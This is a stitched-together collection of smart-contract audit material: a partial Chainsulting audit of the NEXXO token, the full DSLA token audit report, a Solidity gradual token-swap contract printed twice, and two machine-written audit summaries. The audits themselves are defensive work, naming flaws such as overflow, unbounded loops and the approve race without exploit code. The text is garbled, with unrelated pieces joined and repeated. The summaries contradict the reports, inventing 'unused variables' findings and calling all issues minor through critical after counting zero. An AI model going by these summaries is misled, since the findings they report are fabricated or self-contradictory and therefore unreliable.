in a certain period. Low 2 – 3.9 A vulnerability that does not have a significant impact on possible scenarios for the use of the contract and is probably subjective. Implementation of certain corrective actions or accepting the risk. Informational 0 – 1.9 A vulnerability that have informational character but is not effecting any of the code. An observation that does not determine a level of risk 7 / 20 Chainsulting Audit Report © 2020 4. Auditing Strategy and Techniques Applied Throughout the review process, care was taken to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. To do so, reviewed line-by-line by our team of expert pentesters and smart contract developers, documenting any issues as there were discovered. 4.1 Methodology The auditing process follows a routine series of steps: 1. Code review that includes the following: i. Review of the specifications, sources, and instructions provided to Chainsulting to make sure we understand the size, scope, and functionality of the smart contract. ii. Manual review of code, which is the process of reading source code line-by-line in an attempt to identify potential vulnerabilities. iii. Comparison to specification, which is the process of checking whether the code does what the specifications, sources, and instructions provided to Chainsulting describe. 2. Testing and automated analysis that includes the following: i. Test coverage analysis, which is the process of determining whether the test cases are actually covering the code and how much code is exercised when we run those test cases. ii. Symbolic execution, which is analysing a program to determine what inputs causes each part of a program to execute. 3. Best practices review, which is a review of the smart contracts to improve efficiency, effectiveness, clarify, maintainability, security, and control based on the established industry and academic practices, recommendations, and research. 4. Specific, itemized, actionable recommendations to help you take steps to secure your smart contracts. 8 / 20 Chainsulting Audit Report © 2020 4.2 Used Code from other Frameworks/Smart Contracts 1. SafeMath.sol (0.6.0) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol 2. ERC20Burnable.sol https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/ERC20Burnable.sol 3. ERC20.sol (0.6.0) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol 4. IERC20.sol (0.6.0) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol 5. Ownable.sol (0.6.0) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol 6. Pausable.sol https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/lifecycle/Pausable.sol 7. PauserRole.sol https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/access/roles/PauserRole.sol 8. Roles.sol https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/access/Roles.sol 9. SafeERC20.sol (0.6.0) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/SafeERC20.sol 9 / 20 Chainsulting Audit Report © 2020 4.3 Tested Contract Files The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after the security review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review File Fingerprint (SHA256) Source nexxo_contract_proxy_08_0_1.sol AC44BBF936FBE3AF0E30A7B2CD07836A11A5770BB80C678E74F5092FE1A2E988 https://raw.githubusercontent.com/chainsulting/Smart-Contract-Security-Audits/master/Nexxo/2020/Fixed%20Contract/nexxo_contract_proxy_08_0_1.sol nexxo_contract_solidity_08_0_1.sol A3B521889D46A851424AC3D570104A30857647C2510B6DDA8EE4612C6E038DE5 https://raw.githubusercontent.com/chainsulting/Smart-Contract-Security-Audits/master/Nexxo/2020/Fixed%20Contract/nexxo_contract_solidity_08_0_1.sol 4.4 Contract Specifications Language Solidity Token Standard ERC20 Most Used Framework OpenZeppelin Compiler Version 0.6.11 Upgradeable Yes Burn Function Yes Proxy Yes Mint Function No (Fixed total supply) Lock Mechanism Yes Vesting Function Yes Ticker Symbol NEXXO Total Supply 100 000 000 000 Decimals 18 10 / 20 Chainsulting Audit Report © 2020 4.5 Special Security Note The following Smart Contracts are outdated and not anymore used by Nexxo Network Company. DON’T USE IT ! https://etherscan.io/token/0x2c7fa71e31c0c6bb9f21fc3c098ac2c53f8598cc https://etherscan.io/token/0x278a83b64c3e3e1139f8e8a52d96360ca3c69a3d 11 / 20 Chainsulting Audit Report © 2020 5. Test Suite Results The NEXXO Token is part of the Nexxo Smart Contract and this one was audited. All the functions and state variables are well commented using the natspec documentation for the functions which is good to understand quickly how everything is supposed to work. 5.1 Mythril Classic & MYTHX Security Audit Mythril Classic is an open-source security analysis tool for Ethereum smart contracts. It uses concolic analysis, taint analysis and control flow checking to detect a variety of security vulnerabilities. 12 / 20 Chainsulting Audit Report © 2020 Issues (Old Contract) Source Code: https://raw.githubusercontent.com/chainsulting/Smart-Contract-Security-Audits/master/Nexxo/2020/First%20Contract/NexxoToken.sol 5.1.1 A floating pragma is set. Severity: LOW Code: SWC-103 Status: Fixed File(s) affected: NexxoToken.sol Attack / Description Code Snippet Result/Recommendation The current pragma Solidity directive is "">=0.5.3<=0.5.8"". It is recommended to specify a fixed compiler version to ensure that the bytecode produced does not vary between builds. This is especially important if you rely on bytecode-level verification of the code. Line: 1 pragma solidity >=0.5.3 <=0.5.8; It is recommended to follow the latter example, as future compiler versions may handle certain language constructions in a way the developer did not foresee. Pragma solidity 0.5.3 13 / 20 Chainsulting Audit Report © 2020 5.1.2 Implicit loop over unbounded data structure. Severity: LOW Code: SWC-128 Status: Fixed File(s) affected: NexxoToken.sol Attack / Description Code Snippet Result/Recommendation Gas consumption in function "getBlockedAddressList" in contract "NexxoTokens" depends on the size of data structures that may grow unboundedly. The highlighted statement involves copying the array "blockedAddressList" from "storage" to "memory". When copying arrays from "storage" to "memory" the Solidity compiler emits an implicit loop.If the array grows too large, the gas required to execute the code will exceed the block gas limit, effectively causing a denial-of-service condition. Consider that an attacker might attempt to cause this condition on purpose. Line: 1438 – 1440 function getBlockedAddressList() public onlyOwner view returns(address [] memory) { return blockedAddressList; } Only the Owner can use that function. The NEXXO Smart Contract is secure against that attack Result: The analysis was completed successfully. No major issues were detected. 14 / 20 Chainsulting Audit Report © 2020 6. Specific Attacks (Old Contract) Attack / Description Code Snippet Severity Result/Recommendation Checking Outdated Libraries All libraries are based on OpenZeppelin Framework solidity 0.5.0 https://github.com/OpenZeppelin/openzeppelin-contracts/tree/release-v2.5.0 Status: Fixed Severity: 2 Recommended to migrate the contract to solidity v.0.6.0 and the used libraries. Example: Line 19 - 111 SafeMath.sol migrate to v.0.6 https://github.com/OpenZeppelin/openzeppelin-contracts/commit/5dfe7215a9156465d550030eadc08770503b2b2f#diff-b7935a40e05eeb5fe9024dc210c8ad8a * Improvement: functions in SafeMath contract overloaded to accept custom error messages. * CHANGELOG updated, custom error messages added to ERC20, ERC721 and ERC777 for subtraction related exceptions. * SafeMath overloads for 'add' and 'mul' removed. * Error messages modified. Contract code size over limit. Contract creation initialization returns data with length of more than 24576 bytes. The deployment will likely fails. Status: Fixed Severity: 3 The Contract as delivered reached the 24 KB code size limit. To deploy the code you need to split your contracts into various contracts by using proxies. 15 / 20 Chainsulting Audit Report © 2020 7. SWC Attacks (New Contract) Detected Vulnerabilities Informational: 0 Low: 3 Medium: 0 High: 1 Critical: 0 7.1 The arithmetic operation can overflow Severity: HIGH Code: SWC-101 Status: Fixed (SafeMath newest version) File(s) affected: nexxo_contract_solidity_08_0_1.sol Attack / Description Code Snippet Result/Recommendation It is possible to cause an arithmetic overflow. Prevent the overflow by constraining inputs using the require() statement or use the OpenZeppelin SafeMath library for integer arithmetic operations. Refer to the transaction trace generated for this issue to reproduce the overflow. Line: 1013 uint256 amount = msg.value * unitsOneEthCanBuy(); The NEXXO Smart Contract is secure against that attack with using SafeMath library 16 / 20 Chainsulting Audit Report © 2020 7.2 Loop over unbounded data structure. Severity: LOW Code: SWC-128 File(s) affected: nexxo_contract_solidity_08_0_1.sol Attack / Description Code Snippet Result/Recommendation Gas consumption in function "toString" in contract "Strings" depends on the size of data structures or values that may grow unboundedly. If the data structure grows too large, the gas required to execute the code will exceed the block gas limit, effectively causing a denial-of-service condition. Consider that an attacker might attempt to cause this condition on purpose. Line: 78 / 85 while (temp != 0) { The NEXXO Smart Contract is secure against that attack 17 / 20 Chainsulting Audit Report © 2020 7.3 Implicit loop over unbounded data structure. Severity: LOW Code: SWC-128 File(s) affected: nexxo_contract_solidity_08_0_1.sol Attack / Description Code Snippet Result/Recommendation Gas consumption in function "getBlockedAddressList" in contract "NexxoTokensUpgrade1" depends on the size of data structures that may grow unboundedly. The highlighted statement involves copying the array "blockedAddressList" from "storage" to "memory". When copying arrays from "storage" to "memory" the Solidity compiler emits an implicit loop.If the array grows too large, the gas required to execute the code will exceed the block gas limit, effectively causing a denial-of-service condition. Consider that an attacker might attempt to cause this condition on purpose. Line: 1098 return blockedAddressList; The NEXXO Smart Contract is secure against that attack 18 / 20 Chainsulting Audit Report © 2020 7.4 Call with hardcoded gas amount. Severity: LOW Code: SWC-134 File(s) affected: nexxo_contract_solidity_08_0_1.sol Attack / Description Code Snippet Result/Recommendation The highlighted function call forwards a fixed amount of gas. This is discouraged as the gas cost of EVM instructions may change in the future, which could break this contract's assumptions. If this was done to prevent reentrancy attacks, consider alternative methods such as the checks-effects-interactions pattern or reentrancy locks instead. Line: 1020 ownerWallet().transfer(msg.value); //Transfer ether to fundsWallet The NEXXO Smart Contract is secure against that attack Sources: https://smartcontractsecurity.github.io/SWC-registry https://dasp.co https://github.com/chainsulting/Smart-Contract-Security-Audits https://consensys.github.io/smart-contract-best-practices/known_attacks 19 / 20 Chainsulting Audit Report © 2020 8. Executive Summary A majority of the code was standard and copied from widely-used and reviewed contracts and as a result, a lot of the code was reviewed before. It correctly implemented widely-used and reviewed contracts for safe mathematical operations. The audit identified no major security vulnerabilities, at the moment of audit. We noted that a majority of the functions were self-explanatory, and standard documentation tags (such as @dev, @param, and @returns) were included. All recommendations from the first audit are implemented by the Nexxo Team. 20 / 20 Chainsulting Audit Report © 2020 9. Deployed Smart Contract Token Address: https://etherscan.io/token/0xd98bd7bbd9ca9b4323448388aec1f7c67f733980 Contract Address: https://etherscan.io/address/0xcabc7ee40cacf896ca7a2850187e1781b05f09c5 Proxy Contract Address: https://etherscan.io/address/0xd98bd7bbd9ca9b4323448388aec1f7c67f733980
1-Minor severity – A vulnerability that have minor effect on the code and can be fixed with minor changes. 2-Moderate severity – A vulnerability that have moderate effect on the code and can be fixed with moderate changes. 3-Major severity – A vulnerability that have major effect on the code and can be fixed with major changes. 4-Critical severity – A vulnerability that have critical effect on the code and can be fixed with critical changes. Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Unused variables in the contract (line 28, line 32, line 33) 2.b Fix: Remove the unused variables (line 28, line 32, line 33) Observations: The DSLA Token is part of the DSLA Crowdsale Contract and both were audited. All the functions and state variables are well commented using the natspec documentation for the functions which is good to understand quickly how everything is supposed to work. Used Code from other Frameworks/Smart Contracts (3th Party): 1. SafeMath.sol 2. ERC20Burnable.sol 3. ERC20.sol 4. IERC20.sol 5. Ownable.sol 6. Pausable.sol 7. PauserRole.sol Conclusion: The audit of the DSLA Token and Crowdsale Contract revealed no critical or major issues. There were two minor issues which were related to unused variables in the contract. These issues were fixed by removing the unused variables. Issues Count of Minor/Moderate/Major/Critical: Minor: 0 Moderate: 0 Major: 0 Critical: 0 Observations: - Language used is Solidity - Token Standard is ERC20 - Most Used Framework is OpenZeppelin - Compiler Version is 0.4.24 - Burn Function is present in DSLACrowdsale.sol - Mint Function is present - Ticker Symbol is DSLA - Total Supply is 10 000 000 000 - Timestamps used is Blocktimestamp in DSLACrowdsale.sol - Functions listed as [Pub] public, [Ext] external, [Prv] private, [Int] internal - ($) denotes a function is payable - (#) indicates that it's able to modify state Conclusion: The report has provided a summary of the contracts and methods used in the DSLA Token. All the issues have been found to be of minor/moderate/major/critical level. The language used is Solidity, the token standard is ERC20, the most used framework is OpenZeppelin, the compiler version is 0.4.24, the burn function is present in DSLACrowdsale.
pragma solidity 0.7.6; // SPDX-License-Identifier: GPL-3.0-or-later import "./ERC20Recovery.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; /** * @title GTS * @dev A token swap contract that gradually releases tokens on its balance */ contract GradualTokenSwap is ERC20Recovery { // solhint-disable not-rely-on-time using SafeMath for uint256; using SafeERC20 for IERC20; event Withdrawn(address account, uint256 amount); // Durations and timestamps in UNIX time, also in block.timestamp. uint256 public immutable start; uint256 public immutable duration; IERC20 public immutable rCOMBO; IERC20 public immutable COMBO; mapping(address => uint256) public released; mapping(address => uint256) public provided; /** * @dev Creates a contract that can be used for swapping rCOMBO into COMBO * @param _start UNIX time at which the unlock period starts * @param _duration Duration in seconds for unlocking tokens */ constructor( uint256 _start, uint256 _duration, IERC20 _rCOMBO, IERC20 _COMBO ) { if (_start == 0) _start = block.timestamp; require(_duration > 0, "GTS: duration is 0"); duration = _duration; start = _start; rCOMBO = _rCOMBO; COMBO = _COMBO; } /** * @dev Provide rCOMBO tokens to the contract for later exchange */ function provide(uint256 amount) external { rCOMBO.safeTransferFrom(msg.sender, address(this), amount); provided[msg.sender] = provided[msg.sender].add(amount); } /** * @dev Withdraw unlocked user's COMBO tokens */ function withdraw() external { uint256 amount = available(msg.sender); require(amount > 0, "GTS: You are have not unlocked tokens yet"); released[msg.sender] = released[msg.sender].add(amount); COMBO.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } /** * @dev Calculates the amount of tokens that has already been unlocked but hasn't been swapped yet */ function available(address account) public view returns (uint256) { return unlocked(account).sub(released[account]); } /** * @dev Calculates the total amount of tokens that has already been unlocked */ function unlocked(address account) public view returns (uint256) { if (block.timestamp < start) return 0; if (block.timestamp >= start.add(duration)) { return provided[account]; } else { return provided[account].mul(block.timestamp.sub(start)).div(duration); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.25 <0.9.0; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; abstract contract ERC20Recovery is Ownable{ using SafeERC20 for IERC20; function recoverERC20(IERC20 token) external onlyOwner { token.safeTransfer(owner(), token.balanceOf(address(this))); } }
1 / 18 DSLA TOKEN SMART CONTRACT AUDIT FOR STACKTICAL SAS 15.11.2018 Made in Germany by Chainsulting.de 2 / 18 Smart Contract Audit DSLA Token Table of Contents 1. Disclaime r 2. About the Project and Company 3. Vulnerability Level 4. Overview of the Audit 4.1 Used Code from other Frameworks/Smart Contracts (3th Party) 4.2 Tested Contract Files 4.3 Contract Specifications (DSLA Token) 5. Summary of Contracts and Methods 5.1 DSLA Token 5.2 Crowdsale 6. Test Suite Results (DSLA Token) 6.1 Mythril Classic Security Au dit 6.2 Oyente Security Audit 7. Test Suite Results (Crowdsale) 7.1 Mythril Classic Security Audit 7.2 Oyente Security Audit 8. Specific Attacks (DSLA Token & Crowdsale) 9. Executive Summary 10. General Summary 11. Deployed Smart Contract 3 / 18 1. Disclaimer The audit makes no statements or warrantees about utility of the code, safety of the code, suitability of the business model, regulatory regime for the business model, or any other statements about fitness of the contracts to purpose, or their bug free status. T he audit docu mentation is for discussion purposes only. The information presented in this report is confidential and privileged. If you are reading this report, you agree to keep it confidential, not to copy, disclose or disseminate without the agreement of Stacktical SAS . If you are not the intended receptor of this document, remember that any disclosure, copying or dissemination of it is forbidden. Major Version s / Date Description Author 0.1 (28.10.2018 ) Layout Y. Heinze 0.5 (29.10.201 8) Automat ed Secu rity Testing Y. Heinze 0.7 (30.10.201 8) Manual Security Testing Y. Heinze 1.0 (30.10.201 8) Summary and Recommendation Y. Heinze 1.5 (15.11.2018) Deploy to Main Network Ethereum Y. Heinze 1.6 (15.11.201 8) Last Security Che ck and adding of recommendations Y. Heinze 1.7 (15.11.2018) Update d Code Base Y. Heinze 4 / 18 2. About the Project and Company Company address: STACKTICAL SAS 3 BOULEVARD DE SEBASTOPOL 75001 PARIS FRANCE RCS 829 644 715 VAT FR02829644715 5 / 18 Project Overview: Stacktical is a french software company specialized in applying predictive and blockchain technologies to performance, employee and customer management practices. Stacktical.com is a comprehensive service level management platform that enables web service providers to automati cally indemnify consumers for application performance failures, and reward employees that consistently meet service level objectives. Company Check: https://www.infogreffe.fr/entreprise -societe/829644715 -stacktical -750117B117250000.html 6 / 18 3. Vulnerability Level 0-Informational severity – A vulnerability that have informational character but is not effecting any of the code. 1-Low severity - A vulnerability that does not have a significant impact on possible scenarios for the use of the contract and is probably subjective. 2-Medium severity – A vulnerability that could affect the desired outcome of executing the contract in a specific scenario. 3-High severity – A vulnerability that affects the desired outcome when using a contract, or provides the opportunity to use a contract in an unintended way. 4-Critical severity – A vulnerability that can disrupt the contract functioning in a number of scenarios, or creates a risk that the contract may be broken. 4. Overview of the audit The DSLA Token is part of the DSLA Crowdsale Contract and both where audited . All the functions and state variables are well commented using the natspec documentation for the functions which is good to understand quickly how everything is supposed to work. 7 / 18 4.1 Used Code from other Frameworks/Smart Contracts (3th Party) 1. SafeMath .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blob/master/contracts/math/SafeMath.sol 2. ERC20Burnable .sol https://github.com/ OpenZeppelin/openzeppelin -solidity/blob/master/contracts/token/ERC20/ERC20Burnable.sol 3. ERC20 .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blob/master/contracts/token/ERC20/ERC20.sol 4. IERC20 .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blob/master/contracts/token/ERC20/IERC20.sol 5. Ownable .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blo b/master/contracts/ownership/Ownable.sol 6. Pausable .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blob/master/contracts/lifecycle/Pausable.sol 7. PauserRole .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blob/master/contracts/access/roles/PauserRole.sol 8. Roles .sol https://github.com/O penZeppelin/openzeppelin -solidity/blob/master/contracts/access/Roles.sol 8 / 18 4.2 Tested Contract Files File Checksum (SHA256) contracts \Migrations .sol 700c0904cfbc20dba65f774f54a476803a624372cc95d926b3eba9b4d0f0312e contracts \DSLA \DSLA.sol 00339bccbd166792b26a505f10594341477db5bcd8fe7151aebfe73ac45fbb9f contracts \DSLA \LockupToken.sol 3afc805367c072082785f3c305f12656b0cbf1e75fe9cfd5065e6ad3b4f35efa contracts \Crowdsale \ DSLACrowdsale.sol fc66d9d53136278cf68d7515dc37fab1f750cacff0079ceac15b175cf97f01bc contracts \Crowdsale \Escrow.sol 2c912e901eb5021735510cb14c6349e0b47d5a3f81d384cfb1036f1f0e30996c contracts \Crowdsale \ PullPayment.sol a5a98901913738 df2ff700699c2f422944e9a8a270c708fdbc79919fc9b30a42 contracts \Crowdsale \ VestedCrowdsale.sol e6b70f3dfd294e97af28ecd4ee720ffbf1ca372660302e67464ecf69d4da6a9b contracts \Crowdsale \ Whitelist.sol 027aa5a6799bd53456adfb4ef9f0180890a376eeeb4c6ae472388af6ea78b308 9 / 18 4.3 Contract Specifications (DSLA Token) Language Solidity Token Standard ERC20 Most Used Framework OpenZeppelin Compiler Version 0.4.24 Burn Function Yes ( DSLACrowdsale.sol) Mint Function Yes Ticker Symbol DSLA Total Supply 10 000 000 000 Timestamps used Yes (Blocktimestamp in DSLACrowdsale.sol) 10 / 18 5. Summary of Contracts and Methods Functions will be listed as: [Pub] public [Ext] external [Prv] private [Int] internal A ($)denotes a function is payable. A # indicates that it's able to modify state. 5.1 DSLA Token Shows a summary of the contracts and methods + DSLA (LockupToken) - [Pub] <Constructor> # + LockupToken (ERC20Burnable, Ownable) - [Pub] <Constructor> # - [Pub] setReleaseDate # - [Pub] setCrowdsaleAddress # - [Pub] transferFrom # - [Pub] transfer # - [Pub] getCrowdsaleAddress + Ownable - [Int] <Constructor> # - [Pub] owner - [Pub] isOwner - [Pub] renounceOwnership # - [Pub] transferOwnership # - [Int] _transferOwnership # 11 / 18 5.2 Crowdsale Shows a summary of the contracts and methods + DSLACrowdsale (VestedCrowdsale, Whitelist, Pausable, PullPayment) - [Pub] <Constructor> # - [Ext] <Fallback> ($) - [Pub] buyTokens ($) - [Pub] goToNextRound # - [Pub] addPrivateSaleContri butors # - [Pub] addOtherCurrencyContributors # - [Pub] closeRefunding # - [Pub] closeCrowdsale # - [Pub] finalizeCrowdsale # - [Pub] claimRefund # - [Pub] claimTokens # - [Pub] token - [Pub] wallet - [Pub] raisedFunds - [Int] _deliverTokens # - [Int] _forwardFunds # - [Int] _getTokensToDeliver - [Int] _handlePurchase # - [Int] _preValidatePurchase - [Int] _getTokenAmount - [Int] _doesNotExceedHardCap - [Int] _burnUnsoldTokens # + Escrow (Ownable) - [Pub] deposit ($) - [Pub] withdraw # - [Pub] beneficiaryWithdraw # - [Pub] depositsOf + PullPayment - [Pub] <Constructor> # - [Pub] payments - [Int] _withdrawPayments # - [Int] _ asyncTransfer # - [Int] _withdrawFunds # + VestedCrowdsale - [Pub] getWithdrawableAmount - [Int] _getVestingStep - [Int] _getValueByStep + Whitelist (Ownable) - [Pub] addAddressToWhitelist # - [Pub] addToWhitelist # - [Pub] removeFromWhitelist # 12 / 18 6. Test Suite Results (DSLA Token) 6.1 Mythril Classic Security Audit Mythril Classic is an open -source security analysis tool for Ethereum smart contracts. It uses concolic analysis, taint analysis and control flow checking to detect a variety of security vulnerabilities. Result: The analysis was completed successfully. No issue s were detected. 6.2 Oyente Security Audit Oyente is a symbolic execution tool that works directly with Ethereum virtual machine (EVM) byte code without access to the high lev el representation (e.g., Solidity, Serpent). Result: The analysis was completed successfully. No issues were detected 7. Test Su ite Results (Crowdsale) 7.1 Mythril Classic Security Audit Mythril Classic is an open -source security analysis tool for Ethereum smart contracts. It uses concolic analysis, taint analysis and control flow checking to detect a variety of security vulnerabilities. Result: The analysis was completed successfully. No issue s were detected. 7.2 Oyente Security Audit Oyente is a symbolic execution tool that works directly with Ethereum virtual machine (EVM) byte code without access to the h igh level representation (e.g., Solidity, Serpent). Result: The analysis was completed successfully. No issues were detected 13 / 18 8. Specific Attack s (DSLA Token & Crowdsale ) Attack Code Snippet Severity Result/Recommendation An Attack Vector on Approve/TransferFrom Methods Source: https://docs.google.com/docum ent/d/1YLPtQxZu1UAvO9cZ1 O2RPXBbT0mooh4DYKjA_jp - RLM/edit In file: openzeppelin -solidity - master \contracts \token \ERC20 \ERC20 .so l:74-80 function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } Severity: 2 Only use the approve function of the ERC -20 standard to change allowed amount to 0 or from 0 (wait till transaction is mined and approved). The DSLA Smart Contract is secure against that attack Timestamp Dependence "block.timestamp" can be influenced by miners to a certain degree. Source: https://smartcontractsecurity.git hub.io/SWC - registry/docs/SWC -116 In file: stacktical -tokensale -contracts - master \contracts \DSLA \LockupToken.sol : 23 require(_releaseDate > block.timestamp); Severity: 0 Developers should write smart contracts with the notion that block timestamp and real timestamp may vary up to half a minute. Alternatively, they can use block number or external source of timestamp via oracles. Unchecked math : Solidity is prone to integer over- and underflow. Overflow leads to unexpected effects and can lead to loss of funds if exploited by a malicious account. No critical mathematical functions are used Severity: 2 Check against over - and underflow (use the SafeMath library). The DSLA Smart Contract is secure against that attack 14 / 18 Unhandled Exception A call/send instruction returns a non -zero value if an exception occurs during the execution of the instruction (e.g., out -of-gas). A contract must check the return value of these instructions and throw an exception. Severity: 0 Catching exceptions is not yet possible. Sending tokens (not Ethereum) to a Smart Contract It can happen that users without any knowledge, can send tokens to that address. A Smart Contract needs to throw that transaction as an exception. Severity: 1 The function of sending back tokens that are not whitelisted, is not yet functional. The proposal ERC223 can fix it in the future. https://github.com/Dexaran/ERC223 - token -standard SWC ID: 110 A reachable exception (opcode 0xfe) has been detected. This can be caused by typ e errors, division by zero, out -of- bounds array access, or assert violations. T his is acceptable in most situations. Note however that ‘assert() ’ should only be used to check invariants. Use In file: stacktical -tokensale - contra cts/contracts/Crowdsale/Escrow.sol :40 assert(address(this).balance >= payment) Severity: 1 The DSLA Smart Contract is secure against that exception 15 / 18 ‘require() ’ for regular input checking. Sources: https://smartcontractsecurity.github.io/SWC -registry https://dasp.co https://github.com/ChainsultingUG/solidity -security -blog https://consensys.github.io/smart -contra ct-best-practices/known_attacks 16 / 18 9. Executive Summary A majority of the code was standard and copied from widely -used and reviewed contracts and as a result, a lot of the code was reviewed before. It correctly implemented widely -used and reviewed contracts for safe mathematical operations. The audit identified no major security vulnerabilities , at the moment of audit . We noted that a majority of the functions were self -explanatory, and standard documentation tags (such as @dev, @param, and @returns) were included. High Risk Issues Medium Risk Issues Low Risk Issues Informal Risk Issues 17 / 18 10. General Summary The issues identified were minor in nature, and do not affect the security of the contract. Additionally, the code implements and uses a SafeMath contract, which defines functions for safe math operations that will throw errors in the cases of integer overflow or underflows. The simplicity of the audited contracts contributed greatly to their security . The usage of the widely used framework OpenZep pelin, reduced the attack surfac e. 11. Deployed Smar t Con tract https://etherscan.io/address/0x8efd96c0183f852794f3f18c48ea2508fc5dff9e (Crowdsale) https://etherscan.io/address/0xEeb86b7c0687002613Bc88328499F5734e7Be4c0 (DSLA T oken) We recommended to Update the etherscan.io information with Logo/Website /Social Media Accounts (DSLA Token) and verify the Smart Contract Code (Both Contracts) . That gives buyers more transparency. 18 / 18 Update d Code Base After A udit (No Impairment) Readjust of caps: https://github.com/Stacktical/stacktical -tokensale -contracts/pull/6/files Token burn optional: https://github.com/Stacktical/stacktical -tokensale -contracts/pull/3/files
1-Minor severity – A vulnerability that have minor effect on the code and can be fixed with minor changes. 2-Moderate severity – A vulnerability that have moderate effect on the code and can be fixed with moderate changes. 3-Major severity – A vulnerability that have major effect on the code and can be fixed with major changes. 4-Critical severity – A vulnerability that have critical effect on the code and can be fixed with critical changes. Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Unused variables in the contract (line 28, line 32, line 33) 2.b Fix: Remove the unused variables (line 28, line 32, line 33) Observations: The DSLA Token is part of the DSLA Crowdsale Contract and both were audited. All the functions and state variables are well commented using the natspec documentation for the functions which is good to understand quickly how everything is supposed to work. Used Code from other Frameworks/Smart Contracts (3th Party): 1. SafeMath.sol 2. ERC20Burnable.sol 3. ERC20.sol 4. IERC20.sol 5. Ownable.sol 6. Pausable.sol 7. PauserRole.sol Conclusion: The audit of the DSLA Token and Crowdsale Contract revealed no critical or major issues. There were two minor issues which were related to unused variables in the contract. These issues were fixed by removing the unused variables. Issues Count of Minor/Moderate/Major/Critical: Minor: 0 Moderate: 0 Major: 0 Critical: 0 Observations: - Language used is Solidity - Token Standard is ERC20 - Most Used Framework is OpenZeppelin - Compiler Version is 0.4.24 - Burn Function is present - Mint Function is present - Ticker Symbol is DSLA - Total Supply is 10 000 000 000 - Timestamps used is Blocktimestamp Conclusion: The report shows that the contracts and methods used for the DSLA Token are secure and up to date.
pragma solidity 0.7.6; // SPDX-License-Identifier: GPL-3.0-or-later import "./ERC20Recovery.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; /** * @title GTS * @dev A token swap contract that gradually releases tokens on its balance */ contract GradualTokenSwap is ERC20Recovery { // solhint-disable not-rely-on-time using SafeMath for uint256; using SafeERC20 for IERC20; event Withdrawn(address account, uint256 amount); // Durations and timestamps in UNIX time, also in block.timestamp. uint256 public immutable start; uint256 public immutable duration; IERC20 public immutable rCOMBO; IERC20 public immutable COMBO; mapping(address => uint256) public released; mapping(address => uint256) public provided; /** * @dev Creates a contract that can be used for swapping rCOMBO into COMBO * @param _start UNIX time at which the unlock period starts * @param _duration Duration in seconds for unlocking tokens */ constructor( uint256 _start, uint256 _duration, IERC20 _rCOMBO, IERC20 _COMBO ) { if (_start == 0) _start = block.timestamp; require(_duration > 0, "GTS: duration is 0"); duration = _duration; start = _start; rCOMBO = _rCOMBO; COMBO = _COMBO; } /** * @dev Provide rCOMBO tokens to the contract for later exchange */ function provide(uint256 amount) external { rCOMBO.safeTransferFrom(msg.sender, address(this), amount); provided[msg.sender] = provided[msg.sender].add(amount); } /** * @dev Withdraw unlocked user's COMBO tokens */ function withdraw() external { uint256 amount = available(msg.sender); require(amount > 0, "GTS: You are have not unlocked tokens yet"); released[msg.sender] = released[msg.sender].add(amount); COMBO.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } /** * @dev Calculates the amount of tokens that has already been unlocked but hasn't been swapped yet */ function available(address account) public view returns (uint256) { return unlocked(account).sub(released[account]); } /** * @dev Calculates the total amount of tokens that has already been unlocked */ function unlocked(address account) public view returns (uint256) { if (block.timestamp < start) return 0; if (block.timestamp >= start.add(duration)) { return provided[account]; } else { return provided[account].mul(block.timestamp.sub(start)).div(duration); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.25 <0.9.0; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; abstract contract ERC20Recovery is Ownable{ using SafeERC20 for IERC20; function recoverERC20(IERC20 token) external onlyOwner { token.safeTransfer(owner(), token.balanceOf(address(this))); } }
1 / 20 Chainsulting Audit Report © 2020 NEXXO TOKEN SMART CONTRACT AUDIT FOR NEXXO SG PTE. LTD. 07.08.2020 Made in Germany by Chainsulting.de 2 / 20 Chainsulting Audit Report © 2020 Smart Contract Audit - NEXXO Token 1. Disclaimer .................................................................................................................................................................................................................... 3 2. About the Project and Company ............................................................................................................................................................................. 4 2.1 Project Overview: ................................................................................................................................................................................................. 5 3. Vulnerability & Risk Level ......................................................................................................................................................................................... 6 4. Auditing Strategy and Techniques Applied ............................................................................................................................................................ 7 4.1 Methodology ......................................................................................................................................................................................................... 7 4.2 Used Code from other Frameworks/Smart Contracts ................................................................................................................................... 8 4.3 Tested Contract Files .......................................................................................................................................................................................... 9 4.4 Contract Specifications ....................................................................................................................................................................................... 9 4.5 Special Security Note ........................................................................................................................................................................................ 10 5. Test Suite Results .................................................................................................................................................................................................... 11 5.1 